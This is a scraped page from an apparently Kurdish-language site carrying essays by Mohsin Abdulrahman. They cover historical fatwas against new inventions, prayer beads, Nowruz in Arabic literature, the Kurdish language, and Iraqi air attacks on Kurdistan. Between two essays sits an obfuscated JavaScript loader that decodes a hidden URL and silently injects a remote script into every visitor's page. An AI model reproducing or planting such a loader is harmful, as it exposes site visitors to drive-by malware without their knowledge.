ئەرێ چ گوننەها وەلاتییەك دچیتە كارێ خویندكارەك دچیتە قوتابخانەیێ و… تووشی هەڕەشەیا رەڤدا سەیان ببیت، كی بەرپرسیارە؟ هەكە كوشتنا وان قەدەغەبیت، چنكو دژی مافێ گیانەوەرییە، ئەرێ كارگێرییا پارێزگەها دهۆكێ، رێڤەبەرییا ژینگەهێ، رێكخراوێن مافێ گیانەوەری، باژێرڤانییا دهۆكێ..كی بەرپرسیارە ژ پاراستنا وەلاتیێ ب رێكا خۆ دچیت؟
لەورا دبێژین كارگێرییا پارێزگەها دهۆكێ وەلاتیێن خۆ بپارێزە، سەیێن بەرەللا یێن دبنە مەترسی، چنكو پاراستنا وان ئەركێ تەیە!

14

محسن عه‌بدولره‌حمان
فه‌توا: دان و ده‌ركرنا حوكمه‌كێ شه‌رعی یه‌ بۆ كه‌سێ پڕسیاركه‌ر، رۆهنكرن و نیشادانا پرسیاركه‌رییه‌ ب حوكمێ شه‌رعی. د موسلمانه‌تیێ دا ده‌ما گومان كه‌فته‌ سه‌ر تشته‌كی پێدڤی ب بۆچوونا زانایێن دینی دبیت، هینگێ بریارا وان دبیته‌ فه‌توا. ئه‌ڤه‌ چه‌ند نموونه‌كن:
ده‌مێ حوكمه‌تا ئیراقێ ده‌ست ب ڤه‌كرنا خواندنگه‌هان كری، هنده‌ك مه‌لا چوونا وان خواندنگه‌هان حه‌رامكر، ئه‌ڤ حه‌رامكرنێ دگه‌ل حه‌زكرنا ته‌بایا خه‌لكی گۆنجا، ئه‌نجام ژی كێمییا چوونا خه‌لكی بوو، لێ دگه‌ل زێده‌بوونا حه‌زكرنا خه‌لكی بۆ كارێ میری هه‌لوه‌ستێ مللی ب دروستی به‌روڤاژی بوو، چنكو ژبلی خوانده‌ڤانان كه‌س لێ نه‌دهاته‌ وه‌رگرتن، د هه‌مان ده‌م دا هه‌لوه‌ست ژ خواندنگه‌هێن كچان دژوارتربوو، چنكو خه‌لكی هزردكر فێربوونا ژنێ بۆ خواندن و نڤێسینێ دێ بیته‌ ئه‌گه‌رێ سه‌ردابرنا وێ و دێ شه‌رمزاریێ بۆ وان ئینیت، د ڤی چارچووڤه‌ی دا فیقهه‌زانی ئیراقی نوعمانێ ئالۆسی ل داویا چه‌رخێ نزدێ په‌رتووكه‌ك ب ناڤێ (الإصابه‌ فی منع النسا‌و من الكتابه‌) دانا.
• هه‌ر ژ دیاربوونا قه‌هوه‌یێ ل ده‌ستپێكا چه‌رخێ شازدێ و ڤه‌گوهاستنا وێ ژ وه‌لاتێ یه‌مه‌نێ بۆ مسر و حیجازێ.. شه‌ره‌كێ فقهه‌یێ گه‌رم ده‌ستپێكر، د ناڤدا رویدانین دژوار هه‌بوون، حه‌رامكرنا قه‌هوێ دو چه‌رخان ڤه‌كێشا، كو ناكۆكی ل دۆر حه‌رامكرنا وێ یا به‌رده‌وامبوو، ب به‌هانه‌یا ئه‌و ژ یا سه‌رخۆشكه‌ره‌ و بۆ مێشك و جه‌سته‌ی تێكده‌ره‌ و مه‌ترسییا وێ ژ یا مه‌ی دژوارتره‌.
(شه‌رێ قه‌هوا فقهی) بۆ قاهیره‌ و پاشی ستانبولێ هاته‌ ڤه‌گۆهاستن، ئینا فه‌توا و فرمانێن سولتانی ب حه‌رامكرنا قه‌هوێ و قه‌ده‌غه‌كرنا ڤه‌خوارنا وێ ده‌رچوون، پۆلیسان راهێلانه‌ ڤه‌خوه‌رێن وێ و كاكۆكی ئارام نه‌بوو، تاكو مفتییه‌كێ نوی ل سه‌رده‌مێ مرادێ سێیێ ئه‌وێ راگه‌هاندی، كو ڤه‌خوارنا قه‌هوێ شه‌رعه‌ن نه‌ حه‌رامه‌!.

*فه‌توا زه‌مبه‌لێ – حنفیه‌:
توماس كامبیلی ل 1880یێ سالا داهێنانا خۆ ب (Faucet – زه‌مبه‌له‌) ناڤكر، ئانكو ب ئه‌ره‌بی (‌صنبور) ڤێچا ناڤێ (حنفیه‌) ژ چ هاتییه‌؟
ل داوییا چه‌خێ نۆزدێ ب دروستی ل سالا 1848ێ، ئێكه‌م زه‌مبه‌له‌ بو مزگه‌فتا محه‌مه‌د عه‌لی ل (القلعه‌ – كه‌لا سه‌لاحه‌دینێ ئه‌یوبی) هاته‌ دانان، ل ڤێره‌ ناكوكییه‌كا به‌رفره‌هـ د رێره‌وێن (‌اروقه‌) ئه‌زهه‌رێدا ل دور دانانا بورییا و زه‌مبه‌له‌یا (حنفی) ل مزگه‌فتێ كو خه‌لكی ب گوزك و مه‌سینان ده‌ستنڤێژ دشووشتن و پاشی بۆ مالێن مسرییان ژی كێشان، كو كه‌له‌ك مسرییا ئێدی ئاڤ ژ سه‌قافا نه‌كڕی ئه‌وێن ب پاره‌ ئاڤ د گه‌هانده‌ مالان.
له‌ورا سه‌قاف به‌ر ب ئیمامێن هه‌ر چار ئۆلزایان (مه‌زهب) چوون، دا فه‌توایه‌كێ بده‌ن كو ئاڤا زه‌مبه‌لان بۆ ده‌ستنڤێژێ نابیت، ئینا ئیمامێن حه‌نبه‌لی رازیبوون و فه‌توا دان كو ئاڤا زه‌مبه‌لان بیدعه‌كا ئاشكرایه‌ و بۆ ده‌ستنڤێژ و پاككرنێ نابیت، د ده‌مه‌كی دا ئیمامێن زۆلزایا شافعیێ داكوكی كر ك بابه‌ت پێدڤی دانوستاندنه‌ك درێژه‌، د به‌رامبه‌ردا ئیمامێن حه‌نه‌فی ب ره‌واییا ئاڤا زه‌مبه‌لێ و ده‌ستنڤێژ شووشتنێ پێدا، ژ ڤێ چه‌ندێ ناڤكرنا مسرییان بۆ زه‌مبه‌لێ ب (حه‌نه‌فی) هات.
(سید الخلفاوی، الیوم السابع، الاحد28 نوفمبر2021.)
• ل سالێن شێستان فه‌توایێن حه‌رامكرنێ گه‌هشتنه‌ ته‌له‌فزیۆنێ و به‌رفره‌هبوون دا بگه‌هنه‌ ئامیره‌یێن ڤیدیۆ و كاسێت و وێنه‌یێن فوتوگرافی تا دگه‌هیته‌ سه‌ته‌لایتێ.. دا فه‌توایێن حه‌رامكرنا ئه‌نترنێتێ و مۆبایلا ب كامیره‌ ل گه‌ل ئه‌لندا هزارا سێیێ ده‌ركه‌ڤن و ل هنده‌ك ده‌وله‌تێن ئه‌ره‌بی بهێنه‌ قه‌ده‌غه‌كرن. ئه‌ڤه‌ ژبلی حه‌رامكرنا مریشكێن به‌رازیلی و گۆشتێ رۆست و… جڤاك به‌رهنگارییه‌ك دژواردكه‌ن، لێ ل داویێ پێدڤیێن پێشكه‌فتن و كه‌شه‌كرنێ خۆ دسه‌پینن.
(محه‌مه‌د داودیه‌، دستور، 19 كانوونا ئێكێ، 2018)
• ل سالا 1915ێ ئێكه‌م شه‌مه‌نده‌فر د ناڤبه‌را به‌غدا و سامرا كه‌فته‌ كاری، مه‌لا فه‌توایه‌كا دینی دژی سواربوونا (شه‌مه‌نده‌فرێ) ده‌رئێخستن و ئه‌ڤه‌ ده‌قێ فه‌توایێ یه‌:
ب ناڤێ خودایێ دلۆڤانكار م میهره‌بان
(كه‌رێن خودێ دهێلن و ل شه‌مه‌نده‌فرێ سواردبن. نه‌فره‌تا خودێ ل وان بیت. نه‌فره‌تا خودێ ل هه‌ر كه‌سێ ل (شه‌مه‌نده‌فر)ێ سواربیت و هاندانا سواربوونا وێ بكه‌ت…
•”ده‌می ئێكه‌م ترومبێل هاتییه‌ وه‌لاتێ مه‌غریب، وه‌كو هه‌رجار فقهزانا حه‌رامكر و ئه‌گه‌رێ حه‌رامكرنێ، ئه‌وه‌ ئه‌و نزانن چ وێ دلڤینیت، ده‌مێ ترومبێل ل هه‌ر جهی مشه‌بووین، فقهزان لێ سواربوون و متمانه‌ ل سه‌ر كورتییا بیردانكا خه‌لكی كرن”. (هزرمه‌ندێ ئه‌مازیغ (ئه‌حمه‌د عه‌سید).
• نموونه‌یێن گه‌مژه‌ییا ئه‌ڤرۆ ب ئاشۆپی دبینین، د لیسته‌یێن درێژدا هه‌نه‌، نێزیكه‌ هه‌می ده‌ستكه‌ڤتێن ژیانا هه‌ڤچه‌رخ و داهێنانێن وێ ڤه‌گریت، كو هنده‌ك فقهزان ل دژ راوه‌ستیان و شیرێ دوژمنی و حه‌رامكرنێ ل دژی هه‌ر تشتێ نوی هه‌لكێشا.
لێ خواستا جڤاكان بۆ ڤێراگه‌هشتنا كاروانێ شارستانی و گه‌شه‌پێدانێ، ژ وان فه‌توایێن ده‌م ب سه‌رڤه‌چووی ب هێزتربوو، ئینا ئه‌و ده‌ستكه‌فت به‌لاڤبوون، سه‌رباری فه‌توایێن حه‌رامكرنێ یێن خودانێن وان هه‌ر زوی لێڤه‌بووین.
ژ وانا به‌رهنگارییا دژوارا مه‌لایێن ده‌وله‌تا ئوسمانی بۆ داهێنانا چاپكرنێ، ئه‌وان ف‌توا ب حه‌رامكرن وێ و گاوركرنا هه‌ر كه‌سێ بكاربینیت ده‌رئێخست، ب به‌هانه‌یا شێواندنا قورئانێ و په‌رتووكێن شه‌رعی، ئینا موسلمان بو نێزیكی دو چه‌رخان ژ ڤێ داهێنانێ زڕبه‌هركرن، كو ژ گرنگترین هۆیێن پێسكه‌فتنا ئه‌ورۆپا بوو.

• تزبی:
د جڤاكێن موسلمانان دا، تزبی ب وه‌رزێن ئۆلی یێن ده‌ستنیشانكریڤه‌ هاته‌ به‌ستن، كو وه‌ك دیارییێن تایبه‌ت ل وه‌رزێ‌ حه‌ج و عومرێ‌ دهێنه‌ پێشكێشكرن، د مه‌ها ره‌مه‌زانێ دا وه‌كو هێمایه‌ك بۆ ئۆلدارییا گرێدایی ڤێ‌ هه‌یڤێ‌ ب شێوه‌یه‌كێ‌ به‌رفره‌هـ دهێنه‌ بكارئینان، سه‌رباری به‌لگه‌یێن مێژوویی، كو دبێژن تزبی پش مێژوویێ‌ هه‌بوون، لێ‌ د هزرا هنده‌كان دا تزبی تنێ‌ ب موسلمانه‌تیێ ڤه‌ گرێداینه‌. مێژوویا تزبییان د موسلمانه‌تیێ دا ل په‌ی په‌رتووكا (السبحه‌.. تاریخها وأحكامها) دیاردكه‌ت، كو ژ ده‌ستپێكا موسلمانه‌تییێ‌ و تا چه‌رخێ‌ دویێ‌ یێ‌ مشه‌ختی موسلمانان نه‌دزانی تزبییان بكاربینن، پاشی ل ناڤه‌راستا چه‌رخێ‌ دویێ‌ بكارئینانا وان به‌لاڤبوو، لێ ئه‌و د ناڤبه‌را حه‌لالكرن و حه‌رامكرنێدا بوو، تاكو‌ ل چه‌رخێ‌ پازدێ زایینی هنده‌ك ده‌نگێن مانده‌لكرنا وان بلندبوون، لێ‌ هنده‌ك زانایان ده‌ستویرییا ره‌واییا بكارئینانا وان (فه‌توا) ده‌رئیخستن، ب به‌هانه‌یا ته‌سبیحكرنێ ل شوینا تبلان ، لێ‌ هه‌ر چێكرنا تزبییان ب هه‌می ره‌نگێن وان بۆ سۆفییان دهێته‌ ڤه‌دگه‌ڕاندن.
(تزبی، محسن عه‌بدلڕه‌حمان، گۆڤارا مه‌تین، ٢٤٧، گولانا ٢٠٢٤)(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

1

محسن عه‌بدلڕه‌حمان
ژبه‌ر ئه‌و بیاڤێ‌ به‌رفره‌ه و گرنگییا مه‌زن یا نه‌ورۆزێ‌ د وێژه‌یا عه‌ره‌بی دا ب گشتی ڤه‌گرتی، فه‌ره‌ نه‌پشكه‌ك به‌لكو په‌رتووك و په‌ربه‌ند بۆ بهێته‌ ته‌رخانكرن، له‌ورا دێ‌ چه‌ند ده‌قه‌كان ژ ده‌م و قۆناخێن جودا وه‌كو نموونه‌ به‌رچاڤكه‌ین، گه‌له‌كییا ڤه‌هاندنا شیعر و به‌خشانان ده‌رباره‌ی نه‌ورۆزێ‌ ره‌نگڤه‌دانه‌ بۆ رادده‌یا پیرۆزی و گرنگییا وێ‌ ل ده‌ف عه‌ره‌بێن موسلمان، په‌یڤێن ئاماژه‌كه‌ر بۆ نه‌ورۆزێ‌ د ره‌وشه‌نبیری و هۆزانا عه‌ره‌بیدا ب رێكا نڤیسه‌ر و شالیاران رێكا خوه‌ بۆ ناڤ وێژه‌یا عه‌ره‌بی ڤه‌كر، ڤێچا شاعر و تۆڕه‌ڤانان ل دۆر پیرۆزیێن نه‌ورۆزێ‌ به‌ریكانه‌ و هونه‌ركاری؛ دنڤیسین و دارشتنا په‌رتووك و نامه‌ و هه‌لبه‌ستان دا كرن، ئه‌وێن ب ڤێ‌ جه‌ژنێ‌ دداڕشتن، ئینا جۆره‌كێ‌ نوی د شعر و نڤیسینێ دا بناڤێ وێژه‌یا نه‌ورۆزی ئینان.
نه‌ورۆز جه‌ژنا هه‌ره‌ ناسیار و ناڤداره‌ د مێژوویا‌ مرۆڤینیێ دا و ژ هه‌میان كاریگه‌رتره‌ ل سه‌ر عه‌ره‌با، ئه‌ڤه‌ دیاردبیت ژ ژینگه‌ها ئه‌و جه‌ژن د چه‌رخێن دێرین دا ئافراندی و مایه‌ زیندی د ماوه‌یێ‌ ده‌ستهه‌لاتداریا ئیسلامی دا تاكو گه‌هشتییه‌ سه‌رده‌مێ‌ نها، بێگۆمانه‌ كو نه‌ورۆز بۆ سه‌رده‌مێن دێرینێن پێشی نڤیسینێ‌ ڤه‌دگه‌ڕیت، یا گرنگ ل ڤێره‌ چاوانیا په‌یدابوونا ئاییرده‌یێن ئاهه‌نگێن نه‌ورۆزێیه‌، دیسا كارتێكرنا وێ‌ ل سه‌ر وێژه‌یا عه‌ره‌بی، كو د نڤێسینێن خودان هزر، وێژه‌ و مێژوویێ دا (بیرۆنی، جاحز، مه‌سعودی، سه‌عالبی، مه‌قریزی، قه‌لقه‌شه‌ندی…) دیاردبیت، ئه‌ڤان نڤیسه‌ر و ئه‌دیب و مێژوونڤیسان ل دۆر نه‌ورۆزێ‌ و چ تێدا دهاته‌كرن، ژ ئاییره‌، جۆرێن دیارییان، جلك و چه‌كێن ل به‌رخوه‌دكرن، دراڤێن ژ گه‌نجینه‌یێن خه‌لیفه‌ و شاهـ و میران دهاته‌ خه‌رجكرن، هه‌موو ژبۆ پێشوازی و ئاهه‌نگێرانا ڤێ‌ هه‌لكه‌فتنا پیرۆز تۆماركرینه‌.
هه‌ر ژ كه‌ڤندا عه‌ره‌با پێشوازییا ڤێ‌ جه‌ژنێ‌ كرینه‌، بلند راگرتینه‌ و ژبۆ گێڕانا وێ‌ خوه‌ ماندیكرینه‌، هه‌روه‌سا تۆڕه‌ڤانێن هه‌ڤچه‌رخ ب نه‌ورۆزێ‌ داخباربوونه‌، تاكو هنده‌كا هه‌ولدایه‌ هه‌ر تشتێ‌ ل دۆر نه‌ورۆزێ‌ ژ شعر و په‌خشانێ‌… كۆمبكه‌ن و یا ب زمانێن دی هاتیه‌ گۆتن وه‌رگێراینه‌ عه‌ره‌بیێ‌، زانایه‌ كو گه‌له‌ك ژ شاعرێن عه‌ره‌ب یێن كه‌ڤن و نوی نه‌ورۆز د شعرێن خوه‌دا بكارئینایه‌، وه‌كو بوحته‌ری، ئه‌بۆ نه‌وواس، راوه‌ندی، ئیبن ئه‌لرۆمی، ئیبن ئه‌لـموعته‌ز، عه‌باس مه‌حموود ئه‌لعه‌قاد…
عه‌ره‌با ژ په‌یڤا نه‌ورۆز كارێ‌ (نه‌یره‌ز) وه‌رگرتییه‌، مه‌قریزی د په‌رتووكا خوه‌دا دبێژیت (ل دۆر نه‌ورۆزێ‌ پرسیار ژ ئیبن عه‌باسی هاته‌كرن، بۆچی كرنه‌ جه‌ژن؟ گۆت ئه‌و ده‌ستپێكا سالا هاتییه‌ و دوماهییا سالا چووییه‌).

2

محسن عه‌بدلڕه‌حمان
ل 21 شواتێ‌ ب هه‌لكه‌فتا رۆژا زمانێ‌، ل چه‌ندین جهێن جودا و ل سه‌ر ئاستێن ئه‌كادیمی ئه‌ڤ هه‌لكه‌فته‌ ب سمیناران هاته‌ زیندیكرن، لی ل ڤان سمیناران چه‌ند كه‌س به‌رهه‌ڤبوون، چ مفا گه‌هاند؟!، بۆ پشكداریێ‌ چ به‌رنامه‌ راگه‌هاندبوو، ل دووماهیێ‌ دێ چ راسپارده‌ هه‌بن؟ مخابن سه‌رباری نیازپاكیێ‌ لێ‌ موركه‌كا ریكلامی ب خوه‌ڤه‌گرتییه‌، چنكو ئه‌ڤ جۆره‌ كاره‌، پرۆژه‌نه‌ و پێدڤی ب پشته‌ڤانییا جهێ‌ بڕیارێیه‌! ئه‌ڤان لایه‌نان بڕیار نینه‌، لێ‌ شیانێن داخوازا هاریكاریێ‌ ژ لایه‌نێ‌ بڕیاره‌ده‌ر هه‌یه‌!
ل دویڤ ئاماران زمانێ‌ كوردی ل ناڤ زمانێن ملله‌تان ل رێزبه‌ندییا هه‌شته‌م دهێت، لێ‌ ب كریار زمانێ كوردی ل ژێر هه‌ره‌شیێن هه‌ر سێ‌ زمانێن سه‌رده‌سته‌ و نیمچه‌ قه‌ده‌غه‌یه‌! لدویڤ تیۆرێن زمانێ زارۆكێ ب شێوه‌یه‌ك دروست فێربوونێ‌ ب زمانێ‌ خوه‌یێ‌ نه‌ته‌وه‌یی (دایك) وه‌رنه‌گریت، نه‌شێت ب زمانێ‌ خوه‌ یێ‌ نه‌ته‌وه‌یی ده‌ربڕینێ‌ بكه‌ت و تووشی نامۆبوونا كلتووری دبیت، وه‌كو مرۆڤێ‌ كوردێ‌ نه‌شێت ب زمانێ‌ خوه‌ ده‌ربڕینێ‌ ژ هه‌ست و حه‌ز و هزرا خوه‌ بكه‌ت، كو نه‌چاردبیت بۆ ده‌ربڕینێ‌ په‌نایێ‌ بۆ زمانێ‌ داگیركه‌ری ببه‌ت، هۆسا ئه‌و پاشخانه‌یا كلتۆری یا ملله‌تێ‌ خوه‌ ب زمانێ‌ بیانی سازدكه‌ت) یه‌شار كه‌مال، سه‌لیم به‌ره‌كات …(، ل وی ده‌می دبیته‌ پاله‌ و سۆخره‌چیێ‌ دوژمنێ‌ ملله‌تێ‌ خوه‌، ئانكو به‌رهه‌مدار و داهێنه‌ره‌كێ‌ نه‌رێ یه‌، چنكو به‌رهه‌مێ‌ ره‌نج و كه‌دا وی بۆ خه‌لكییه‌، هه‌روه‌سا كلتۆرێ‌ ملله‌تێ خوه‌ دئێخته‌ ژێر خزمه‌تا بیانی دا، ئه‌ڤه‌ نه‌تنێ‌ لایه‌نێ‌ ئه‌ده‌بی و هونه‌ری ڤه‌دگریت، به‌لكو ب ده‌هان ناڤ هه‌نه‌ ده‌ستكه‌فتێن وه‌رزشی، هۆنه‌ری، زانستی، دپلۆماسی… تاكو ب ته‌مه‌نترین و به‌ژن بلندترین.. هه‌بوونه‌، لێ‌ هه‌ر ب ناڤێ‌ وه‌لاتێن داگیركه‌ر هاتینه‌ نیاسین و توماركرن!
به‌رهه‌م ل گه‌ل ناسنامه‌یێ‌ پارڤه‌دبیت، ئه‌م دبینه‌ كوردێ‌ ئیرانێ‌، كوردێ‌ تركی، كوردێ‌ ئیراقێ‌، كوردێ‌ سووریێ‌…ئانكو ئه‌م بووینه‌ خودان ناسنامه‌یه‌كا نه‌رم، ئانكو ژێیاتییا مه‌ نه‌ بۆ نه‌ته‌وه‌یا مه‌یه‌، به‌لكو بۆ ملله‌تێن سه‌رده‌سته‌، له‌ورا ئه‌ركه‌ كلتۆرێ‌ نه‌ته‌وه‌یی بهێته‌ ڤه‌ژاندن و ئه‌رشیفكرن، ب مه‌به‌ستا پاراستنا بهایێن مرۆڤی یێن بابكالان بۆ مه‌ هێلاین.
ئاریشه‌ ئه‌وه‌ كورد بووینه‌ خودانێن ڤێ‌ ناسنامه‌یه‌ك نه‌رم و ئه‌ڤێ‌ كارتێكرن ل سه‌ر كلتۆرێ‌ وان كرییه‌، ئانكو تاكێ‌ كورد ل هه‌ر وه‌لاته‌كێ‌ بۆ پارچه‌كا كوردستانێ‌ یا داگیركه‌ری دزڤڕیت، ده‌مێ‌ دچیته‌ باژێران نه‌چاردبیت ب زمانێ‌ وان سه‌ره‌ده‌ریێ‌ بكه‌ت، ئه‌ڤێ‌ ناسنامه‌یا مه‌ شل هێلایه‌، له‌ورا تاكێ‌ كورد هه‌ر زوی خوه‌ دگونجینیت، ئه‌ڤه‌ دولایه‌نییه‌، ژ ئالییه‌كی باشه‌ كو فێردبیت، لێ‌ ژلایێ‌ دی ب ساناهی به‌رهه‌ڤی ژ ده‌ستدانا ناسنامه‌یا خوه‌یه‌، یان ب كێمی ژ پارچه‌یێن دی ڤه‌دقه‌تیت، گه‌له‌ك ژ كوردێن خوه‌ ب كوردپه‌روه‌ر دنیاسن، ژ به‌ر زۆرداریا داگیركه‌ری ب نه‌چاری په‌نا برییه‌ وه‌لاتێن جیهانا پێشكه‌فتی، سه‌رباری كو ل ئه‌ورۆپا چ فشار نینن، لێ‌ زارۆیێن وان كوردیێ‌ نزانن و جاران هه‌تا ناڤێن وان ژی نه‌ كوردینه‌!

11

محسن عه‌بدلڕه‌حمان
پێشگۆتن: ب هاتنا سته‌مكاره‌كى په‌سنا سته‌مكارێ چووى دكه‌ین و ژ بیرا خوه‌ دبه‌ین، كو سته‌مكارێ چووى رێخۆشكه‌رێ سته‌مكارێ نها بوو! بابه‌تێ سته‌مكارییا داگیركه‌رى گرێدا ئاستێ شیان و هه‌بوونا ده‌لیڤه‌ و گۆنجاندنا ره‌وش و كاودانایه‌، هه‌مى سته‌مكار كویچكێن ئێك دێهلن و ب هه‌مان زاكێ سته‌مێ فرشكبووینه‌. (له‌بیرت نه‌چێ، باخچه‌ى سه‌ر سه‌را ـ به‌خوینى كوردى مه‌زلوم ئاودرا) هۆسا قانعێ شاعر ده‌ربڕین ژ كوشتارا خۆنیشاده‌رێن سه‌ڕایێ ل سلێمانیێ ل سالا 1930، لێ بابه‌تى َمه‌ دێ ل دۆر كوشتارێن فرۆكه‌یان بیت، كو ژ لایێ حوكمه‌تێن ئیراقێ یێن ل دویڤ ئێك دژى هه‌ڤوه‌لاتیێن كوردستانێ هاتینه‌ ئه‌نجامدان:
1- فرۆكه‌یا (جیسى مۆت) یا ئینگلیزى ئه‌و فرۆكه‌یا فرۆكه‌ڤانێ ( ناگق محمد خلیل الگائی) ل سالا 1032 ژلایێ هێرش پێ كریه‌ سه‌ر ده‌ڤه‌را بارزان و هاتیه‌ ئێخستن، دا مینۆمێنته‌ك ل باخچه‌یێ شه‌هیدان ل مووسل بۆ بهێته‌ چێكرن، و ناڤێ باخچه‌ى ببیته‌ (حدیقه‌ الشهدا‌و)، ئه‌ڤه‌ ل رۆژا سێیێ ژ جه‌ژنا قوربانى بوو، كو خه‌لك دیارییان پێشكێشدكه‌ن و پیرۆزباهیێ لێك دگوهۆرن، حوكمه‌تا ئیراقێ فرۆكه‌یێن شه‌ركه‌ر هنارتنه‌ كوردستانێ دا بومبه‌یان ببارینن. (الكاردینیا – مجله‌ پقافیه‌ عامه‌).
2- فرۆكه‌یا (مێك 21) پشتى تێكچوونا ره‌وشا سیاسى ل ئیراقێ و په‌یدابوونا گرژیێ د ناڤه‌را كوردان و حوكمه‌تا عه‌بدلكه‌ریم قاسمى، ل رۆژا 11 ئه‌یلولا 1961 شه‌ڕ و پێكدانان ل ده‌ڤه‌رێن جودا رویدان، پشتى بۆرینا هه‌یڤه‌كێ ب تمامى ئانكو ل 11/10/1961ێ ل دویڤ گۆتنا دیده‌ڤانان ل ده‌مژمێر 3:30 ئێڤارى خانیێ هه‌ڤوه‌لاتى كوركۆى ژ لایێ فرۆكه‌یێن مێك21 هاته‌ مۆشه‌كباراندن، د ئه‌نجامدا (21) كه‌س بوونه‌ قوربانى.
3- فرۆكه‌یا (سوخۆى): ل سپێده‌هییا 24 نیسانا 1974 چار فرۆكه‌یێن سوخۆى و دو فرۆكێن تۆبۆلیف باژێركێ قه‌لادزى ب مۆشه‌ك و بومبه‌بارانكر ژ وان بومبێن فۆسفۆرى و ناپالم، دا پشتى ده‌مژمێره‌كێ ژ بومبه‌ربارانكرنى، د كوشتاره‌كا مه‌ترسیدار دا باژێركێ بكه‌ن كۆمه‌كا خوینێ، كو پترى (350) جانگۆرى و (750) بریندار و ئاڤاهى وێرانكرى ل دویڤ خوه‌ هێلاین. (bas news) ل 24/4/2021
4- فرۆكه‌یا (میراج): ل 16 ئادارا 1988 ب فه‌رمانا سه‌دام حسێنى و سه‌ركردایه‌تیا نه‌زار خه‌زره‌جى (برامج – وفى روایه‌ اخرى – تقدیم: بدرالدین الصائغ، www.alaraby.com ) فرۆكه‌یێن مێك و میراج بومبه‌یێن كیمیاوى به‌ردانه‌ سه‌ر باژێرێ حه‌له‌بچه‌، كو بوونه‌ ئه‌گه‌رێ جانگۆریكرنا (5000) كه‌سان و نێزیكى (10000) برینداران.
ژ ڤێ پێداچوونێ دیاردبیت كو ئه‌م كورد یێن ل پێش ئارێشه‌یه‌ك مه‌زن، ئه‌وژى گه‌ه‌شكرنا هێزا ئاسمانییا ئیراقێ، كو ل دژى ملله‌تێ كورد ب درێژییا سه‌د سالان هاتییه‌ بكارئینان، ل ده‌ستپێكێ فرۆكه‌یا ئینگلیزى (جیسى موت ـ سالا 1932 ل بارزان)، فرۆكه‌یا رۆسى (مێك21- ل گوندێ كوركۆ ـ سالا 1961)، فرۆكه‌یا (مێك و سوخۆى ل وێرنكرنا قه‌لادزێ – 1974)، و دویماهیێ فرۆكا (میراج یا فره‌نسى، د كیمیابارنكرنا حه‌له‌بچه‌ دا – 1988).
لێ پشتى سه‌رهلدانێ و بتایبه‌ت د سالا 32024 دا، ئه‌م یێن د قۆناغه‌كا هه‌ستدار و مه‌ترسیدارتر دا دبۆرین، ئه‌وژى كوردستان یا تووشێ هێرشێن درۆنان دبیت.

website security
WP Facebook Auto Publish Powered By : XYZScripts.com